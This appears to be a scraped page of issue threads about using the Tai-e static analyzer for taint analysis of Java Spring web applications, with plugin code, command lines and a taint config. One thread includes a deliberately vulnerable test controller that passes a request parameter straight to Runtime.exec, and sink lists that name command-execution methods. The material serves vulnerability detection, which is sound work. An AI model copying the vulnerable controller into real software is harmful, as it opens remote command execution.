-cp E:\tools\code\casa\target\classes;xxx.jar -java 8 --input-classes=c.txt -m com.example.casa.Main -ap -a pta=action:dump;action-file:result.txt;taint-config:src\test\resources\pta\taint\taint-config.yml

c.txt is a collection of all class names of -cp

error analyzing com.vmware.vcops.casa.security.SecurityController#manageCertOnCluster function

    @ResponseStatus(HttpStatus.ACCEPTED)
    @ResponseBody
    @RequestMapping(
        value = {"/cluster/security/certificate"},
        method = {RequestMethod.POST}
    )
    @Auditable(
        category = Category.ACTIVATE_CERTIFICATE,
        auditMessage = "User activating certificate."
    )
    public HttpMapResponse[] manageCertOnCluster(@RequestParam(required = false,defaultValue = "ACTIVATE") String action, @RequestParam String certType) {
        WebServerCertificateAction certificateAction;
        try {
            certificateAction = WebServerCertificateAction.valueOf(action.toUpperCase());
        } catch (IllegalArgumentException var7) {
            this.log.error("Illegal enum for certificate action: " + action);
            throw new CasaException(var7);
        }

        WebServerCertificateType certificateType;
        try {
            certificateType = WebServerCertificateType.valueOf(certType.toUpperCase());
        } catch (IllegalArgumentException var6) {
            this.log.error("Illegal enum for certificate type: " + certType);
            throw new CasaException(var6);
        }

        return this.securityService.delegateActivateWebServerCert(certificateAction, certificateType);
    }

Override TaintAnalysis class to add entrypoint and source for my analysis

/*
 * Tai-e: A Static Analysis Framework for Java
 *
 * Copyright (C) 2022 Tian Tan <[email protected]>
 * Copyright (C) 2022 Yue Li <[email protected]>
 *
 * This file is part of Tai-e.
 *
 * Tai-e is free software: you can redistribute it and/or modify
 * it under the terms of the GNU Lesser General Public License
 * as published by the Free Software Foundation, either version 3
 * of the License, or (at your option) any later version.
 *
 * Tai-e is distributed in the hope that it will be useful,but WITHOUT
 * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
 * or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General
 * Public License for more details.
 *
 * You should have received a copy of the GNU Lesser General Public
 * License along with Tai-e. If not, see <https://www.gnu.org/licenses/>.
 */

package pascal.taie.analysis.pta.plugin.taint;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import pascal.taie.World;
import pascal.taie.analysis.graph.callgraph.Edge;
import pascal.taie.analysis.pta.PointerAnalysisResult;
import pascal.taie.analysis.pta.core.cs.context.Context;
import pascal.taie.analysis.pta.core.cs.element.*;
import pascal.taie.analysis.pta.core.heap.HeapModel;
import pascal.taie.analysis.pta.core.heap.Obj;
import pascal.taie.analysis.pta.core.solver.EntryPoint;
import pascal.taie.analysis.pta.core.solver.Solver;
import pascal.taie.analysis.pta.core.solver.SpecifiedParamProvider;
import pascal.taie.analysis.pta.plugin.Plugin;
import pascal.taie.analysis.pta.pts.PointsToSet;
import pascal.taie.ir.exp.InvokeExp;
import pascal.taie.ir.exp.InvokeInstanceExp;
import pascal.taie.ir.exp.Var;
import pascal.taie.ir.stmt.Invoke;
import pascal.taie.language.classes.JClass;
import pascal.taie.language.classes.JMethod;
import pascal.taie.language.type.ArrayType;
import pascal.taie.language.type.ClassType;
import pascal.taie.language.type.Type;
import pascal.taie.util.collection.Maps;
import pascal.taie.util.collection.MultiMap;
import pascal.taie.util.collection.Pair;

import java.util.HashSet;
import java.util.List;
import java.util.Set;
import java.util.TreeSet;

public class TaintAnalysis implements Plugin {

    private static final Logger logger = LogManager.getLogger(TaintAnalysis.class);

    /**
     * Map from method (which is source method) to set of types of
     * taint objects returned by the method calls.
     */
    private final MultiMap<JMethod, Type> sources = Maps.newMultiMap();

    /**
     * Map from method (which causes taint transfer) to set of relevant
     * {@link TaintTransfer}.
     */
    private final MultiMap<JMethod, TaintTransfer> transfers = Maps.newMultiMap();
    private final Set<Sink> sinks = new HashSet<>();

    /**
     * Map from variable to taint transfer information.
     * The taint objects pointed to by the "key" variable are supposed
     * to be transferred to "value" variable with specified type.
     */
    private final MultiMap<Var, Pair<Var, Type>> varTransfers = Maps.newMultiMap();

    private Solver solver;

    private CSManager csManager;

    private Context emptyContext;

    private TaintManager manager;

    private TaintConfig config;

    /**
     * Retrieves variable from a call site and index.
     */
    private static Var getVar(Invoke callSite, int index) {
        InvokeExp invokeExp = callSite.getInvokeExp();
        return switch (index) {
            case TaintTransfer.BASE -> ((InvokeInstanceExp) invokeExp).getBase();
            case TaintTransfer.RESULT -> callSite.getResult();
            default -> invokeExp.getArg(index);
        };
    }

    @Override
    public void onStart() {
        HeapModel heapModel = solver.getHeapModel();
        JClass httpRequestWrapper = World.get().getClassHierarchy().getClass("javax.servlet.http.HttpServletRequestWrapper");
        JClass servletRequestWrapper = World.get().getClassHierarchy().getClass("javax.servlet.ServletRequestWrapper");

        World.get().getClassHierarchy().allClasses().filter(c -> c.hasAnnotation("org.springframework.stereotype.Controller")).forEach(clazz -> {
            System.out.println("found controller " + clazz.getName());
            clazz.getDeclaredMethods().forEach(method -> {
                if (method.hasAnnotation("org.springframework.web.bind.annotation.RequestMapping")) {
                    Obj mockObj = heapModel.getMockObj("<clazz>", clazz.getSimpleName(), clazz.getType());
                    SpecifiedParamProvider.Builder builder = new SpecifiedParamProvider.Builder(method).addThisObj(mockObj);
                    List<Type> paramTypes = method.getParamTypes();
                    for (int i = 0; i < paramTypes.size(); i++) {
                        Type type = paramTypes.get(i);
                        if (type.getName().equals("javax.servlet.http.HttpServletRequest")) {
                            type = World.get().getTypeSystem().getType("javax.servlet.http.HttpServletRequestWrapper");
                        } else if (type.getName().equals("javax.servlet.http.HttpServletResponse")) {
                            type = World.get().getTypeSystem().getType("javax.servlet.http.HttpServletResponseWrapper");
                        }
                        Obj mockParam = heapModel.getMockObj(method.getName() + ":" + type.getName(), method.getSignature(), type, method);
                        builder.addParamObj(i, mockParam);

                        if (type instanceof ArrayType) {
                            type = ((ArrayType) type).elementType();
                        }
                        if (type instanceof ClassType) {
                            World.get().getClassHierarchy().getClass(type.getName()).getDeclaredMethods().forEach(m -> sources.put(m, m.getReturnType()));
                        }
                    }
                    SpecifiedParamProvider provider = builder.build();
                    solver.addEntryPoint(new EntryPoint(method, provider));
                }
            });
        });

        httpRequestWrapper.getDeclaredMethods().stream().filter(jMethod -> jMethod.getName().startsWith("get")).forEach(m -> {
            sources.put(m, m.getReturnType());
        });
        servletRequestWrapper.getDeclaredMethods().stream().filter(jMethod -> jMethod.getName().startsWith("get")).forEach(m -> {
            sources.put(m, m.getReturnType());
        });

        World.get().getClassHierarchy().getClass("java.lang.Runtime").getDeclaredMethods().stream().filter(jMethod -> jMethod.getName().equals("exec")).forEach(this::add2Sink);
        World.get().getClassHierarchy().getClass("java.lang.ProcessBuilder").getDeclaredMethods().stream().filter(jMethod -> jMethod.getName().equals("<init>") || jMethod.getName().equals("start")).forEach(this::add2Sink);
//        World.get().getClassHierarchy().getClass("java.io.File").getDeclaredMethods().stream().filter(jMethod -> jMethod.getName().equals("<init>")).forEach(this::add2Sink);

        // print sources
        System.out.println("sources....");
        sources.forEach((k, v) -> System.out.println(k.getMethodSource() + "\t" + v.getName()));
        System.out.println();

        // print sink
        System.out.println("sinks....");
        sinks.forEach(s -> System.out.println(s));
        System.out.println();
    }

    Sink add2Sink(JMethod jMethod) {
        for (int i = 0; i < jMethod.getParamCount(); i++) {
            sinks.add(new Sink(jMethod, i));
        }
        return null;
    }

    @Override
    public void setSolver(Solver solver) {
        this.solver = solver;
        csManager = solver.getCSManager();
        emptyContext = solver.getContextSelector().getEmptyContext();
        manager = new TaintManager(solver.getHeapModel());
        config = TaintConfig.readConfig(solver.getOptions().getString("taint-config"), solver.getHierarchy(), solver.getTypeSystem());
//        logger.info(config);
        config.getSources().forEach(s -> sources.put(s.method(), s.type()));
        config.getTransfers().forEach(t -> transfers.put(t.method(), t));
        config.getSinks().forEach(s -> sinks.add(s));
    }

    @Override
    public void onNewCallEdge(Edge<CSCallSite, CSMethod> edge) {
        Invoke callSite = edge.getCallSite().getCallSite();
        JMethod callee = edge.getCallee().getMethod();
        // generate taint value from source call
        Var lhs = callSite.getLValue();
        if (lhs != null && sources.containsKey(callee)) {
            sources.get(callee).forEach(type -> {
                Obj taint = manager.makeTaint(callSite, type);
                solver.addVarPointsTo(edge.getCallSite().getContext(), lhs, emptyContext, taint);
            });
        }
        // process taint transfer
        transfers.get(callee).forEach(transfer -> {
            Var from = getVar(callSite, transfer.from());
            Var to = getVar(callSite, transfer.to());
            // when transfer to result variable, and the call site
            // does not have result variable, then "to" is null.
            if (to != null) {
                Type type = transfer.type();
                varTransfers.put(from, new Pair<>(to, type));
                Context ctx = edge.getCallSite().getContext();
                CSVar csFrom = csManager.getCSVar(ctx, from);
                transferTaint(solver.getPointsToSetOf(csFrom), ctx, to, type);
            }
        });
    }

    private void transferTaint(PointsToSet pts, Context ctx, Var to, Type type) {
        PointsToSet newTaints = solver.makePointsToSet();
        pts.objects().map(CSObj::getObject).filter(manager::isTaint).map(manager::getSourceCall).map(source -> manager.makeTaint(source, type)).map(taint -> csManager.getCSObj(emptyContext, taint)).forEach(newTaints::addObject);
        if (!newTaints.isEmpty()) {
            solver.addVarPointsTo(ctx, to, newTaints);
        }
    }

    @Override
    public void onNewPointsToSet(CSVar csVar, PointsToSet pts) {
        varTransfers.get(csVar.getVar()).forEach(p -> {
            Var to = p.first();
            Type type = p.second();
            transferTaint(pts, csVar.getContext(), to, type);
        });
    }

    @Override
    public void onFinish() {
        Set<TaintFlow> taintFlows = collectTaintFlows();
        solver.getResult().storeResult(getClass().getName(), taintFlows);
    }

    private Set<TaintFlow> collectTaintFlows() {
        PointerAnalysisResult result = solver.getResult();
        Set<TaintFlow> taintFlows = new TreeSet<>();
        sinks.forEach(sink -> {
            int i = sink.index();
            result.getCallGraph().getCallersOf(sink.method()).forEach(sinkCall -> {
                Var arg = sinkCall.getInvokeExp().getArg(i);
                result.getPointsToSet(arg).stream().filter(manager::isTaint).map(manager::getSourceCall).map(sourceCall -> new TaintFlow(sourceCall, sinkCall, i)).forEach(taintFlows::add);
            });
        });
        return taintFlows;
    }
}

Runtime environment infomation

win10 idea 0934e79

How to analyze java web or spring project

In the web project, the program entry is not the main function. I refer to #9 and #7 to add the web controller to the entrypoint.

    @Override
    public void onStart() {
        World.get().getClassHierarchy().applicationClasses().forEach(s -> {
            s.getDeclaredMethods().forEach(m -> {
                solver.addEntryPoint(new EntryPoint(m, EmptyParamProvider.get()));
            });
        });
        JClass request = World.get().getClassHierarchy().getClass("javax.servlet.ServletRequest");

        request.getDeclaredMethods().forEach(m -> {
            sources.put(m, m.getReturnType());
        });
    }

and i have one class like this:

package com.example.demo.controller;

import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

import javax.servlet.http.HttpServletRequest;
import java.io.IOException;

@RestController
public class TestController {
    @RequestMapping("/")
    public String index(HttpServletRequest request) throws IOException {
        String cmd = request.getParameter("cmd");
        Runtime.getRuntime().exec(cmd);
        return "hello";
    }
}

my command line

-cp
C:\Users\ddd\Downloads\demo5-0.0.1-SNAPSHOT\BOOT-INF\classes;C:\Users\ddd\Downloads\demo5-0.0.1-SNAPSHOT\BOOT-INF\lib\jackson-annotations-2.13.4.jar;C:\Users\ddd\Downloads\demo5-0.0.1-SNAPSHOT\BOOT-INF\lib\jackson-core-2.13.4.jar;C:\Users\ddd\Downloads\demo5-0.0.1-SNAPSHOT\BOOT-INF\lib\jackson-databind-2.13.4.jar;C:\Users\ddd\Downloads\demo5-0.0.1-SNAPSHOT\BOOT-INF\lib\jackson-datatype-jdk8-2.13.4.jar;C:\Users\ddd\Downloads\demo5-0.0.1-SNAPSHOT\BOOT-INF\lib\jackson-datatype-jsr310-2.13.4.jar;C:\Users\ddd\Downloads\demo5-0.0.1-SNAPSHOT\BOOT-INF\lib\jackson-module-parameter-names-2.13.4.jar;C:\Users\ddd\Downloads\demo5-0.0.1-SNAPSHOT\BOOT-INF\lib\jakarta.annotation-api-1.3.5.jar;C:\Users\ddd\Downloads\demo5-0.0.1-SNAPSHOT\BOOT-INF\lib\jul-to-slf4j-1.7.36.jar;C:\Users\ddd\Downloads\demo5-0.0.1-SNAPSHOT\BOOT-INF\lib\log4j-api-2.17.2.jar;C:\Users\ddd\Downloads\demo5-0.0.1-SNAPSHOT\BOOT-INF\lib\log4j-to-slf4j-2.17.2.jar;C:\Users\ddd\Downloads\demo5-0.0.1-SNAPSHOT\BOOT-INF\lib\logback-classic-1.2.11.jar;C:\Users\ddd\Downloads\demo5-0.0.1-SNAPSHOT\BOOT-INF\lib\logback-core-1.2.11.jar;C:\Users\ddd\Downloads\demo5-0.0.1-SNAPSHOT\BOOT-INF\lib\slf4j-api-1.7.36.jar;C:\Users\ddd\Downloads\demo5-0.0.1-SNAPSHOT\BOOT-INF\lib\snakeyaml-1.30.jar;C:\Users\ddd\Downloads\demo5-0.0.1-SNAPSHOT\BOOT-INF\lib\tomcat-embed-core-9.0.65.jar;C:\Users\ddd\Downloads\demo5-0.0.1-SNAPSHOT\BOOT-INF\lib\tomcat-embed-el-9.0.65.jar;C:\Users\ddd\Downloads\demo5-0.0.1-SNAPSHOT\BOOT-INF\lib\tomcat-embed-websocket-9.0.65.jar
-m
com.example.demo.Demo5Application
--input-classes=com.example.demo.controller.TestController
-java
8
-ap
-a
pta=action:dump;action-file:dumpfile;taint-config:src\test\resources\pta\taint\taint-config.yml

taint-config.yml

sources:
  - { method: "<SourceSink: java.lang.String source()>", type: "java.lang.String" }
  - { method: "<SourceSink: java.lang.String sourceAndSink(java.lang.String,java.lang.String)>", type: "java.lang.String" }
  - { method: "<taint.A: java.lang.String source()>", type: "java.lang.String" }
  - { method: "<javax.servlet.ServletRequest: java.lang.String getParameter(java.lang.String)>", type: "java.lang.String" }

sinks:
  - { method: "<SourceSink: void sink(java.lang.String)>", index: 0 }
  - { method: "<SourceSink: void sink(java.lang.String,int)>", index: 0 }
  - { method: "<SourceSink: void sink(java.lang.String,java.lang.String)>", index: 1 }
  - { method: "<SourceSink: java.lang.String sourceAndSink(java.lang.String,java.lang.String)>", index: 0 }
  - { method: "<java.lang.Runtime: java.lang.Process exec(java.lang.String)>", index: 0 }

transfers:
  - { method: "<java.lang.String: java.lang.String concat(java.lang.String)>", from: base, to: result, type: "java.lang.String" }
  - { method: "<java.lang.String: java.lang.String concat(java.lang.String)>", from: 0, to: result, type: "java.lang.String" }
  - { method: "<java.lang.String: char[] toCharArray()>", from: base, to: result, type: "char[]" }
  - { method: "<java.lang.String: void <init>(char[])>", from: 0, to: base, type: "java.lang.String" }
  - { method: "<java.lang.StringBuffer: java.lang.StringBuffer append(java.lang.String)>", from: 0, to: base, type: "java.lang.StringBuffer" }
  - { method: "<java.lang.StringBuffer: java.lang.StringBuffer append(java.lang.Object)>", from: 0, to: base, type: "java.lang.StringBuffer" }
  - { method: "<java.lang.StringBuffer: java.lang.String toString()>", from: base, to: result, type: "java.lang.String" }
  - { method: "<java.lang.StringBuilder: java.lang.StringBuilder append(java.lang.String)>", from: 0, to: base, type: "java.lang.StringBuilder" }
  - { method: "<java.lang.StringBuilder: java.lang.StringBuilder append(java.lang.Object)>", from: 0, to: base, type: "java.lang.StringBuilder" }
  - { method: "<java.lang.StringBuilder: java.lang.String toString()>", from: base, to: result, type: "java.lang.String" }

What I expect is that a taint stream should be output from com.example.demo.controller.TestController#index to java.lang.Runtime#exec(java.lang.String),but i got nothing.

i don't why,pls help me.thank you.

A question about the implementation of Taint Analysis

Hello everyone. I am new to taint analysis. Documentation illustrates that the taint analysis in Tai-e is on the top of the pointer analysis framework.
Q1: Does it mean that taint analysis cannot trace the data flow of primitive data type?
Q2: Could I run it without specifying the sinks to propagate the taint as far as possible?
Thank you so much!

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.